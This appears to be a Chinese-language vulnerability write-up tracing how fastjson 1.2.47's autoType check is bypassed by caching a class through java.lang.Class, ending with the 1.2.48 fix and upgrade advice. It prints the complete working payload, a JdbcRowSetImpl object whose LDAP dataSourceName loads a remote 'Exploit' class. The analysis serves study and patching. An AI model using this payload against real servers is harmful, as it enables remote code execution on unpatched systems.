那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。
{ "@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"}
先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
这里有我们的三个在乎的点,如下顺序:
public final Object parseObject(final Map object, Object fieldName) {
...
//先是checkAutoType这个万恶的过滤函数
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
... //ResolveStatus的赋值
this.setResolveStatus(TypeNameRedirect); //污染TypeUtils.getClassFromMapping的触发处
Object obj = deserializer.deserialze(this, clazz, fieldName);
}
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)这个分析过了。
从deserializers.findClass(typeName)出去,这是我们之前分析过的一处可以绕过白名单黑名单出去的地方,但是这里只存放一些默认类,不可污染。而我们的class.class就在这个默认类列表中,自然直接出去了。(比如class.class怎么也不会匹配到黑名单,不这里出去,也是可以下面出去的)
再是,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。这个payload砸的没错。
可以发现进入了我们预计希望进入的com.alibaba.fastjson.serializer.MiscCodec#deserialze,可以看到上面有复杂的if判断,这就是得到初步的思路之后砸payload的好处,如果满足条件,我们就不用费力气去想这些是为啥的,反正默认进来了,不满足我们再去看哪里不符合就行。
一切按照计划进行。
由于objVal是一个String,继续赋值给strVal
跳跳跳,我们之前由checkAutoType得到的clazz为Class.class,进入loadCLass
默认cache为true,之前分析的时候也说到cache为true对我们来说是个好消息。接下来会有三种情况可以污染我们的关键mapping。看看会进入哪一个
下一个
第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put放入了我们的恶意类名!
完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。这就是大黑阔嘛,爱了爱了。
现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。
来一个调用栈:
那么获取一个有恶意类的类似缓存机制的mapping有啥用呢。再进一步@type就好。
之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。
但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了以下一个。
{ "a": { "@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": { "@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
审计结束完美。
回顾一下进来的过程:
我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
-
checkAutoType方法拿到Class.class
-
设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
-
进入deserializer.deserialze
com.alibaba.fastjson.serializer.MiscCodec#deserialze
-
parser.resolveStatus为TypeNameRedirect,进入if为true走向
-
解析"val":"恶意类名",放入objVal,再传递到strVal
-
因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
-
添加默认cache为true,调用loadClass
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
-
三个改变mappings的第一处,由于classLoader=null,不进入
-
三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。
1.2.48修复
对比代码。修改了cache这一处。(右侧为1.2.47代码)
本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。
现在这边直接指定过来三个参数loadClass同时cache为false。
可见,在同样payload执行时,我们原来说会改变mappings的第二处就因为cache而无法改变。
但是我们还记得之前分析时有第三处不需要校验cache的mappings赋值!精神一振,这就是0day的气息么!
然后…….
这就是程序员的力量么,两行代码秒杀一切,爱了爱了,0day再见。
1.2.48以后
在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。
之后又出了一个影响广泛的拒绝服务漏洞,在1.2.60版本被修复。
当然这与反序列化就无关了,同时这篇文章也写得太久,太长了。也算是给2019做个结尾吧。
所以,
2020年,新年快乐。
要不 下场雪吧。
修复意见
升级至官方最新版本 1.62。(修复所有已知漏洞,具备最新黑名单)
招聘启事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论